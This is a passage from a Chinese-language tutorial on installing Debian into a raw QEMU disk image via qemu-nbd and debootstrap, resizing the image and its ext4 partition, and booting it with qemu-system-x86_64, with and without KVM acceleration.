&lt;p&gt;要确保上一节创建的块设备存在。如果重启过宿主机，则需要按照上一节开头部分再次使用&lt;code&gt;qemu-nbd&lt;&#x2F;code&gt;来将&lt;code&gt;debian.img&lt;&#x2F;code&gt;与块设备关联起来（不必再分区了）。&lt;&#x2F;p&gt;
&lt;p&gt;接下来安装&lt;code&gt;debootstrap&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install -y debootstrap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;准备完成，可以开动了。&lt;&#x2F;p&gt;
&lt;p&gt;首先，将根分区对应的块设备（Network Block Device, NBD）挂载到当前文件系统下，并确保挂载成功（提问：为什么需要通过挂载nbd块设备间接挂载虚拟机镜像根文件系统，而非直接挂载虚拟机镜像？）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mount &amp;#x2F;dev&amp;#x2F;nbd0p2 &amp;#x2F;mnt
mount | grep mnt
# &amp;#x2F;dev&amp;#x2F;nbd0p2 on &amp;#x2F;mnt type ext4 (rw,relatime)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着，在挂载的根分区上安装最新版的Debian（这个过程可能会持续一段时间）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;debootstrap --arch=amd64 --include=&amp;quot;openssh-server vim&amp;quot; stable &amp;#x2F;mnt http:&amp;#x2F;&amp;#x2F;httpredir.debian.org&amp;#x2F;debian&amp;#x2F;
# 最后输出以下内容，说明安装成功：
# I: Base system installed successfully.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;完成后，应该可以看到挂载点&lt;code&gt;&#x2F;mnt&lt;&#x2F;code&gt;目录结构已经是一个常见的Linux系统根目录：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ls &amp;#x2F;mnt
# bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将&lt;code&gt;&#x2F;dev&lt;&#x2F;code&gt;目录bind mount到镜像文件系统下，并确保nbd块设备也在其中：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mount --bind &amp;#x2F;dev &amp;#x2F;mnt&amp;#x2F;dev
ls &amp;#x2F;mnt&amp;#x2F;dev&amp;#x2F; | grep nbd0
# nbd0
# nbd0p1
# nbd0p2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;chroot到镜像文件系统下。由于我默认使用了zsh，第一次操作失败：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;chroot &amp;#x2F;mnt
# chroot: failed to run command ‘&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;zsh’: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;指定一个镜像文件系统中有的shell即可，第二次切换成功：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;chroot &amp;#x2F;mnt &amp;#x2F;bin&amp;#x2F;bash
# bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
# root@ubuntu:&amp;#x2F;# cat &amp;#x2F;etc&amp;#x2F;debian_version
# 11.3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把procfs和sysfs两个伪文件系统挂载到新的环境下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mount -t proc none &amp;#x2F;proc
mount -t sysfs none &amp;#x2F;sys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装Debian内核metapackage和&lt;code&gt;grub2&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install -y --force-yes linux-image-amd64 grub2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在根设备上安装GRUB，并更新GRUB配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;root@ubuntu:&amp;#x2F;# grub-install &amp;#x2F;dev&amp;#x2F;nbd0 --force
Installing for i386-pc platform.
Installation finished. No error reported.
root@ubuntu:&amp;#x2F;# update-grub2
Generating grub configuration file ...
Found linux image: &amp;#x2F;boot&amp;#x2F;vmlinuz-5.10.0-13-amd64
Found initrd image: &amp;#x2F;boot&amp;#x2F;initrd.img-5.10.0-13-amd64
Found Ubuntu 18.04.6 LTS (18.04) on &amp;#x2F;dev&amp;#x2F;sda1
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用&lt;code&gt;passwd&lt;&#x2F;code&gt;命令修改虚拟机镜像的root密码，我们修改为&lt;code&gt;root&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;允许访问虚拟机镜像中的伪终端：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo &amp;quot;pts&amp;#x2F;0&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;securetty
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将&lt;code&gt;systemd&lt;&#x2F;code&gt;调整到&lt;code&gt;multi-user&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;root@ubuntu:&amp;#x2F;# systemctl set-default multi-user.target
Created symlink &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;default.target → &amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;multi-user.target.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将根挂载点加入到&lt;code&gt;fstab&lt;&#x2F;code&gt;文件，使之在重启之后依然保留（提问：文献[4]使用的是&lt;code&gt;&#x2F;dev&#x2F;sda2&lt;&#x2F;code&gt;，这里为什么是&lt;code&gt;sda2&lt;&#x2F;code&gt;？）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo &amp;quot;&amp;#x2F;dev&amp;#x2F;sda2 &amp;#x2F; ext4 defaults,discard 0 0&amp;quot; &amp;gt; &amp;#x2F;etc&amp;#x2F;fstab
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;卸载之前挂载的文件系统（注意，不要在将卸载的挂载点目录下执行&lt;code&gt;umount&lt;&#x2F;code&gt;，可能会执行失败），退出chroot环境：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;umount &amp;#x2F;proc &amp;#x2F;sys &amp;#x2F;dev
exit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在镜像根分区上安装GRUB（提问：为什么这里又安装一次？）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;grub-install &amp;#x2F;dev&amp;#x2F;nbd0 --root-directory=&amp;#x2F;mnt --modules=&amp;quot;biosdisk part_msdos&amp;quot; --force
# Installing for i386-pc platform.
# Installation finished. No error reported.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;更正GRUB配置文件中的设备名：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sed -i &amp;#x27;s&amp;#x2F;nbd0p2&amp;#x2F;sda2&amp;#x2F;g&amp;#x27; &amp;#x2F;mnt&amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;卸载&lt;code&gt;nbd0&lt;&#x2F;code&gt;设备，并取消关联：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;umount &amp;#x2F;mnt
qemu-nbd --disconnect &amp;#x2F;dev&amp;#x2F;nbd0
# &amp;#x2F;dev&amp;#x2F;nbd0 disconnected
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;至此，我们完成了在虚拟机镜像中安装Debian操作系统。&lt;&#x2F;p&gt;
&lt;p&gt;提问：为什么在为虚拟机安装操作系统的过程中需要把宿主机上的&lt;code&gt;&#x2F;dev&lt;&#x2F;code&gt;和procfs、sysfs挂载到虚拟机根文件系统下？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-diao-zheng-xu-ni-ji-jing-xiang-da-xiao&quot;&gt;5. 调整虚拟机镜像大小&lt;&#x2F;h2&gt;
&lt;p&gt;我们将学习如何调整上一节创建的镜像文件、其中的分区和分区上的文件系统的大小。注意，对于创建可运行的虚拟机镜像来说，这一步是可选的。&lt;&#x2F;p&gt;
&lt;p&gt;在此之前，先安装一下必要的工具（不再列出Ubuntu自带的工具）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install -y kpartx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上一节操作完成后，&lt;code&gt;debian.img&lt;&#x2F;code&gt;镜像文件大小已经发生了变化：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;qemu-img info debian.img
# image: debian.img
# file format: raw
# virtual size: 10G (10737418240 bytes)
# disk size: 1.3G
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们为镜像文件增加2GB，并再次查看其大小：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;qemu-img resize -f raw debian.img +2G
# Image resized.

qemu-img info debian.img
# image: debian.img
# file format: raw
# virtual size: 12G (12884901888 bytes)
# disk size: 1.3G
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，不是所有的镜像类型都支持调整大小。如果需要调整其他类型的镜像的大小，可能需要先将其用&lt;code&gt;qemu-img&lt;&#x2F;code&gt;转换为&lt;code&gt;raw&lt;&#x2F;code&gt;类型。&lt;&#x2F;p&gt;
&lt;p&gt;我们发现，镜像文件大小已经改变。接下来，我们将调整分区和分区文件系统的大小。&lt;&#x2F;p&gt;
&lt;p&gt;查看第一个未被使用的回环设备（回环设备用来将普通文件模拟成块设备，详见Linux用户手册[6]）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;losetup -f
# &amp;#x2F;dev&amp;#x2F;loop19
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把镜像文件与上述回环设备关联起来：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;losetup &amp;#x2F;dev&amp;#x2F;loop19 debian.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从关联的回环设备读取分区信息，并创建设备映射，然后查看设备映射：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kpartx -av &amp;#x2F;dev&amp;#x2F;loop19
# add map loop19p1 (253:0): 0 1024 linear 7:19 2048
# add map loop19p2 (253:1): 0 20967424 linear 7:19 4096

ls -la &amp;#x2F;dev&amp;#x2F;mapper | grep loop
# lrwxrwxrwx  1 root root       7 May  8 00:04 loop19p1 -&amp;gt; ..&amp;#x2F;dm-0
# lrwxrwxrwx  1 root root       7 May  8 00:04 loop19p2 -&amp;gt; ..&amp;#x2F;dm-1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从根分区映射中获取信息：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;tune2fs -l &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop19p2

tune2fs 1.44.1 (24-Mar-2018)
Filesystem volume name:   &amp;lt;none&amp;gt;
Last mounted on:          &amp;#x2F;mnt
Filesystem UUID:          7e8c3c8a-ca64-43a1-9356-1ba1e75998dc
Filesystem magic number:  0xEF53
Filesystem revision #:    1 (dynamic)
Filesystem features:      has_journal ext_attr resize_inode dir_index filetype extent 64bit flex_bg sparse_super large_file huge_file dir_nlink extra_isize metadata_csum
Filesystem flags:         signed_directory_hash
Default mount options:    user_xattr acl
Filesystem state:         clean
Errors behavior:          Continue
Filesystem OS type:       Linux
Inode count:              655360
Block count:              2620928
Reserved block count:     131046
Free blocks:              2353841
Free inodes:              636395
First block:              0
Block size:               4096
Fragment size:            4096
Group descriptor size:    64
Reserved GDT blocks:      1024
Blocks per group:         32768
Fragments per group:      32768
Inodes per group:         8192
Inode blocks per group:   512
Flex block group size:    16
Filesystem created:       Sat May  7 03:01:11 2022
Last mount time:          Sat May  7 07:59:00 2022
Last write time:          Sat May  7 08:34:14 2022
Mount count:              1
Maximum mount count:      -1
Last checked:             Sat May  7 03:01:11 2022
Check interval:           0 (&amp;lt;none&amp;gt;)
Lifetime writes:          1768 MB
Reserved blocks uid:      0 (user root)
Reserved blocks gid:      0 (group root)
First inode:              11
Inode size:	          256
Required extra isize:     32
Desired extra isize:      32
Journal inode:            8
Default directory hash:   half_md4
Directory Hash Seed:      c681cdb3-cd48-4754-8504-8b1e8d3dab09
Journal backup:           inode blocks
Checksum type:            crc32c
Checksum:                 0xb3c7927c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;检查根分区文件系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;e2fsck &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop19p2
# e2fsck 1.44.1 (24-Mar-2018)
# &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop19p2: clean, 18965&amp;#x2F;655360 files, 267087&amp;#x2F;2620928 blocks
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;删除根分区设备的日志，并确保日志已经移除：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;tune2fs -O ^has_journal &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop19p2
# tune2fs 1.44.1 (24-Mar-2018)

tune2fs -l &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop19p2 | grep &amp;quot;features&amp;quot;
# Filesystem features:      ext_attr resize_inode dir_index filetype extent 64bit flex_bg sparse_super large_file huge_file dir_nlink extra_isize metadata_csum
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;移除分区映射，解除回环设备关联：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kpartx -dv &amp;#x2F;dev&amp;#x2F;loop19
# del devmap : loop19p2
# del devmap : loop19p1
losetup -d &amp;#x2F;dev&amp;#x2F;loop19
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再次将镜像文件与网络块设备关联：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-nbd --format=raw --connect=&amp;#x2F;dev&amp;#x2F;nbd0 .&amp;#x2F;debian.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用&lt;code&gt;fdisk&lt;&#x2F;code&gt;列出可用分区，删除根分区，重新创建，并确认修改：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fdisk &amp;#x2F;dev&amp;#x2F;nbd0

Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Command (m for help): p
Disk &amp;#x2F;dev&amp;#x2F;nbd0: 12 GiB, 12884901888 bytes, 25165824 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 512 bytes
Disklabel type: dos
Disk identifier: 0xc45020cb

Device      Boot Start      End  Sectors  Size Id Type
&amp;#x2F;dev&amp;#x2F;nbd0p1       2048     3071     1024  512K 82 Linux swap &amp;#x2F; Solaris
&amp;#x2F;dev&amp;#x2F;nbd0p2       4096 20971519 20967424   10G 83 Linux

Command (m for help): d
Partition number (1,2, default 2): 2

Partition 2 has been deleted.

Command (m for help): n
Partition type
   p   primary (1 primary, 0 extended, 3 free)
   e   extended (container for logical partitions)
Select (default p): p
Partition number (2-4, default 2): 2
First sector (3072-25165823, default 4096):
Last sector, +sectors or +size{K,M,G,T,P} (4096-25165823, default 25165823):

Created a new partition 2 of type &amp;#x27;Linux&amp;#x27; and of size 12 GiB.
Partition #2 contains a ext4 signature.

Do you want to remove the signature? [Y]es&amp;#x2F;[N]o: N

Command (m for help): w

The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再次把镜像文件与上述回环设备关联起来：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;losetup &amp;#x2F;dev&amp;#x2F;loop19 debian.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再次从关联的回环设备读取分区信息，并创建设备映射：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kpartx -av &amp;#x2F;dev&amp;#x2F;loop19
# add map loop19p1 (253:0): 0 1024 linear 7:19 2048
# add map loop19p2 (253:1): 0 25161728 linear 7:19 4096
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再次检查根分区文件系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;e2fsck -f &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop19p2
# e2fsck 1.44.1 (24-Mar-2018)
# Pass 1: Checking inodes, blocks, and sizes
# Pass 2: Checking directory structure
# Pass 3: Checking directory connectivity
# Pass 4: Checking reference counts
# Pass 5: Checking group summary information
# &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop19p2: 19007&amp;#x2F;655360 files (0.2% non-contiguous), 251765&amp;#x2F;2620928 blocks
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;调整根分区文件系统大小：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;resize2fs &amp;#x2F;dev&amp;#x2F;nbd0p2
# resize2fs 1.44.1 (24-Mar-2018)
# Resizing the filesystem on &amp;#x2F;dev&amp;#x2F;nbd0p2 to 3145216 (4k) blocks.
# The filesystem on &amp;#x2F;dev&amp;#x2F;nbd0p2 is now 3145216 (4k) blocks long.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重新创建文件系统日志（前面删除了）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;tune2fs -j &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;loop19p2
# tune2fs 1.44.1 (24-Mar-2018)
# Creating journal inode: done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后移除分区映射，解除回环设备关联：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kpartx -dv &amp;#x2F;dev&amp;#x2F;loop19
# del devmap : loop19p2
# del devmap : loop19p1
losetup -d &amp;#x2F;dev&amp;#x2F;loop19
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-shi-yong-qemu-system-ming-ling-yun-xing-xu-ni-ji&quot;&gt;6. 使用qemu-system-*命令运行虚拟机&lt;&#x2F;h2&gt;
&lt;p&gt;除了自制虚拟机镜像外，各大Linux发行版也都提供了预制镜像：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.centos.org&#x2F;centos&#x2F;&quot;&gt;https:&#x2F;&#x2F;cloud.centos.org&#x2F;centos&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud-images.ubuntu.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;cloud-images.ubuntu.com&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.debian.org&#x2F;images&#x2F;cloud&#x2F;&quot;&gt;https:&#x2F;&#x2F;cloud.debian.org&#x2F;images&#x2F;cloud&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alt.fedoraproject.org&#x2F;cloud&#x2F;&quot;&gt;https:&#x2F;&#x2F;alt.fedoraproject.org&#x2F;cloud&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;download.opensuse.org&#x2F;repositories&#x2F;Cloud:&#x2F;Images&quot;&gt;https:&#x2F;&#x2F;download.opensuse.org&#x2F;repositories&#x2F;Cloud:&#x2F;Images&lt;&#x2F;a&gt;:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们可以直接下载预制镜像使用，例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wget https:&amp;#x2F;&amp;#x2F;cloud.debian.org&amp;#x2F;images&amp;#x2F;cloud&amp;#x2F;buster&amp;#x2F;latest&amp;#x2F;debian-10-nocloud-amd64.qcow2
wget https:&amp;#x2F;&amp;#x2F;cloud.centos.org&amp;#x2F;centos&amp;#x2F;7&amp;#x2F;images&amp;#x2F;CentOS-7-x86_64-GenericCloud.qcow2.xz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以执行&lt;code&gt;qemu-system-*&lt;&#x2F;code&gt;系列命令来获得支持的CPU架构：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-system-x86_64 --cpu help
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;尝试启动一个Debian虚拟机实例（注意，命令中的&lt;code&gt;index=2&lt;&#x2F;code&gt;是虚拟机操作系统所在的分区索引号）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# IP需替换为宿主机IP
qemu-system-x86_64 -name debian -vnc 172.16.56.199:0 -cpu Nehalem -m 1024 -drive format=raw,index=2,file=debian.img -daemonize
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;确认该实例在运行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pgrep -lfa qemu
# 1684 qemu-system-x86_64 -name debian -vnc 172.16.56.199:0 -cpu Nehalem -m 1024 -drive format=raw,index=2,file=debian.img -daemonize
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结束该实例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pkill qemu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;还可以尝试使用CentOS官方的预制镜像[7]启动一个虚拟机实例（大多数预制镜像使用第一分区或仅有一个分区，故不必指出索引号，&lt;code&gt;-hda&lt;&#x2F;code&gt;与&lt;code&gt;-drive&lt;&#x2F;code&gt;选项效果类似）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# IP需替换为宿主机IP
qemu-system-x86_64 -vnc 172.16.56.199:0 -m 1024 -hda CentOS-7-x86_64-GenericCloud.qcow2 -daemonize
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-qi-dong-kvmjia-su-de-qemuxu-ni-ji&quot;&gt;7. 启动KVM加速的QEMU虚拟机&lt;&#x2F;h2&gt;
&lt;p&gt;KVM主要由两个LKM内核模块组成，第一个是&lt;code&gt;kvm.ko&lt;&#x2F;code&gt;，提供主要的虚拟化功能；第二个是&lt;code&gt;kvm-intel.ko&lt;&#x2F;code&gt;或&lt;code&gt;kvm-amd.ko&lt;&#x2F;code&gt;，分别对应不同的CPU厂商。&lt;&#x2F;p&gt;
&lt;p&gt;在一些Linux发行版中存在名为&lt;code&gt;qemu-kvm&lt;&#x2F;code&gt;的软件包，它提供了一个名为&lt;code&gt;kvm&lt;&#x2F;code&gt;的脚本，在Ubuntu上可以通过&lt;code&gt;apt install -y qemu-kvm&lt;&#x2F;code&gt;来安装。该工具实际上是&lt;code&gt;qemu-system-x86_64&lt;&#x2F;code&gt;命令的封装，自动为其加上了&lt;code&gt;enable-kvm&lt;&#x2F;code&gt;参数，其内容通常如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;sh
exec qemu-system-x86_64 -enable-kvm &amp;quot;$@&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为完成本节实验，需要确保宿主机支持硬件虚拟化功能。在笔者的环境中，宿主机本身就是一台虚拟机，因此需要在虚拟机管理器中开启该虚拟机的硬件虚拟化功能。可以在宿主机中执行命令查看CPU是否支持硬件虚拟化：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;egrep &amp;quot;vmx|svm&amp;quot; &amp;#x2F;proc&amp;#x2F;cpuinfo | uniq
# flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc cpuid pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi ept vpid ept_ad fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves arat md_clear flush_l1d arch_capabilities
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如上面的输出所示，输出包括&lt;code&gt;vmx&lt;&#x2F;code&gt;，说明当前宿主机支持硬件虚拟化功能。&lt;&#x2F;p&gt;
&lt;p&gt;手动载入KVM内核模块，并确保载入成功：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;modprobe kvm
lsmod | grep kvm
# kvm_intel             253952  0
# kvm                   659456  1 kvm_intel
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;OK，环境准备完成，开始行动。&lt;&#x2F;p&gt;
&lt;p&gt;创建一个KVM支持的QEMU虚拟机实例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# IP需替换为宿主机IP
qemu-system-x86_64 -name debian -vnc 172.16.56.199:0 -m 1024 -drive format=raw,index=2,file=debian.img -enable-kvm -daemonize
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;确认该实例在运行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pgrep -lfa qemu
# 1930 qemu-system-x86_64 -name debian -vnc 172.16.56.199:0 -m 1024 -drive format=raw,index=2,file=debian.img -enable-kvm -daemonize
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结束该实例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pkill qemu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，实际上我们只是增加了&lt;code&gt;-enable-kvm&lt;&#x2F;code&gt;选项而已。&lt;&#x2F;p&gt;
